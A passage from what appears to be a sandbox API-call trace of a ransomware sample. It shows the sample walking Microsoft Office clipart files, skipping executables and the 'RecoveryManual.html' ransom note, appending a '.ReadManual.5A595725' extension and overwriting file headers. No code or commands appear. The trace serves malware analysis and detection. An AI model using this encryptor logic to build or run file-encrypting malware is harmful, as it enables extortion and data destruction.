SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.317] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.319] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.319] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fc4) returned 0x2f0000 [0271.319] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39198800771) returned 1 [0271.319] CloseHandle (hObject=0x184) returned 1 [0271.319] SetSecurityInfo () returned 0x57 [0271.319] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.319] CloseHandle (hObject=0x194) returned 1 [0271.320] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0271.320] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02262_.WMF" | out: lpString1="PE02262_.WMF") returned="PE02262_.WMF" [0271.320] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.320] StrStrIW (lpFirst="PE02262_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.320] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.320] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.320] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" [0271.320] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.ReadManual.5A595725" [0271.320] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.ReadManual.5A595725") returned 87 [0271.320] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39198891524) returned 1 [0271.320] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf")) returned 0x20 [0271.320] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.321] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30178) returned 1 [0271.321] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75e2, lpName=0x0) returned 0x184 [0271.321] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.322] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.322] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.324] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.324] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75e2) returned 0x2f0000 [0271.324] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.325] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39199337980) returned 1 [0271.325] CloseHandle (hObject=0x184) returned 1 [0271.325] SetSecurityInfo () returned 0x57 [0271.325] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.325] CloseHandle (hObject=0x194) returned 1 [0271.325] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0271.325] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02263_.WMF" | out: lpString1="PE02263_.WMF") returned="PE02263_.WMF" [0271.325] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.325] StrStrIW (lpFirst="PE02263_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.325] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.325] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.325] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" [0271.325] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.ReadManual.5A595725" [0271.326] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.ReadManual.5A595725") returned 87 [0271.326] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39199433576) returned 1 [0271.326] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf")) returned 0x20 [0271.326] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.326] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33358) returned 1 [0271.326] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x824e, lpName=0x0) returned 0x184 [0271.326] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.327] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.327] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.329] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.329] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x824e) returned 0x2f0000 [0271.330] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.330] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39199923927) returned 1 [0271.331] CloseHandle (hObject=0x184) returned 1 [0271.331] SetSecurityInfo () returned 0x57 [0271.331] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.331] CloseHandle (hObject=0x194) returned 1 [0271.331] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0271.331] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02265_.WMF" | out: lpString1="PE02265_.WMF") returned="PE02265_.WMF" [0271.331] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.331] StrStrIW (lpFirst="PE02265_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.331] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.331] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.331] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" [0271.331] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.ReadManual.5A595725" [0271.331] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.ReadManual.5A595725") returned 87 [0271.331] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39200014663) returned 1 [0271.331] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf")) returned 0x20 [0271.332] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.332] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25266) returned 1 [0271.332] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62b2, lpName=0x0) returned 0x184 [0271.332] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.333] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.333] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.335] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.335] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62b2) returned 0x2f0000 [0271.335] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.335] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39200411691) returned 1 [0271.335] CloseHandle (hObject=0x184) returned 1 [0271.335] SetSecurityInfo () returned 0x57 [0271.336] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.336] CloseHandle (hObject=0x194) returned 1 [0271.336] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0271.336] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02267_.WMF" | out: lpString1="PE02267_.WMF") returned="PE02267_.WMF" [0271.336] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.336] StrStrIW (lpFirst="PE02267_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.336] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.336] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.336] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" [0271.336] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.ReadManual.5A595725" [0271.336] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.ReadManual.5A595725") returned 87 [0271.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39200503320) returned 1 [0271.336] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf")) returned 0x20 [0271.338] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.338] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30944) returned 1 [0271.339] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78e0, lpName=0x0) returned 0x184 [0271.339] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.339] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.339] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.341] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.341] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78e0) returned 0x2f0000 [0271.342] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.342] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39201058992) returned 1 [0271.342] CloseHandle (hObject=0x184) returned 1 [0271.342] SetSecurityInfo () returned 0x57 [0271.342] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.342] CloseHandle (hObject=0x194) returned 1 [0271.342] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0271.342] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02270_.WMF" | out: lpString1="PE02270_.WMF") returned="PE02270_.WMF" [0271.342] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.342] StrStrIW (lpFirst="PE02270_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.342] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.342] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.343] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.343] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.343] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.343] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.343] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" [0271.343] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.ReadManual.5A595725" [0271.343] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.ReadManual.5A595725") returned 87 [0271.343] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39201147987) returned 1 [0271.343] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf")) returned 0x20 [0271.343] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.343] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28454) returned 1 [0271.343] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f26, lpName=0x0) returned 0x184 [0271.343] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.344] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.344] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.346] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.346] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f26) returned 0x2f0000 [0271.347] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.347] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39201553156) returned 1 [0271.347] CloseHandle (hObject=0x184) returned 1 [0271.347] SetSecurityInfo () returned 0x57 [0271.347] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.347] CloseHandle (hObject=0x194) returned 1 [0271.347] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, 